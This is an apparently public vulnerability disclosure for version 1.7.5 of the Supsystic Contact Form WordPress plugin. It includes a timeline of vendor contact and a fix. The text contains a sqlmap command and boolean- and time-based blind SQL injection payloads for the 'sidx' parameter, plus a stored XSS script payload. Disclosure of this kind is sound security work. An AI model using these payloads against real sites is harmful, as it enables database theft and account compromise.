61 lines
No EOL
2.2 KiB
Text
61 lines
No EOL
2.2 KiB
Text
# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.5 - Multiple Vulnerabilities
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# Date: 24/07/2020
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# Exploit Author: Erik David Martin
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# Vendor Homepage: https://supsystic.com/
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# Software Link: https://downloads.wordpress.org/plugin/contact-form-by-supsystic.1.7.5.zip
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# Version: 1.7.5
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# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2
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# 25/07 2020: Vendor notified
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# 27/07 2020: Vendor requested detailed information
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# 27/07 2020: Information provided
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# 07/08 2020: Nudged vendor. No reply
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# 22/08 2020: Nudged vendor. No reply
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# 04/10 2020: Nudged vendor. No reply
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# 29/11 2020: WordPress Plugin Security team contacted
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# 10/12 2020: Vulnerability fixed
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##################################
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SQLi
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##################################
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# 1. Description
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The GET parameter "sidx" does not sanitize user input when searching for existing contact forms.
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# 2. Proof of Concept (PoC)
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Use ZAP/Burp to capture the web request when searching for existing contact forms and save it to request.txt
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Referer: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic
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sqlmap -r request.txt --dbms=mysql -p sidx --level=5
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Parameter: sidx (GET)
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Type: boolean-based blind
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Payload: mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search[text_like]=t&_search=false&nd=1595781461778&rows=10&page=1&sidx=(SELECT (CASE WHEN (9602=9602) THEN 0x6964 ELSE (SELECT 9695 UNION SELECT 1181) END))&sord=desc
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Type: time-based blind
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Payload: mod=forms&action=getListForTbl&pl=cfs&reqType=ajax&search[text_like]=t&_search=false&nd=1595781461778&rows=10&page=1&sidx=id AND (SELECT 4102 FROM (SELECT(SLEEP(5)))vOKL)&sord=desc
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##################################
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Stored XSS
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##################################
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# 1. Description
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The "Edit name" and "Contact information" features are vulnerable to stored XXS.
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Location: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic&tab=forms_edit&id=[FORM ID]
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# 2. Proof of Concept (PoC)
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Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--'
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The payload will execute when viewing the "Show All Forms" section.
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Referer: http://192.168.0.49/wp-admin/admin.php?page=contact-form-supsystic&tab=forms |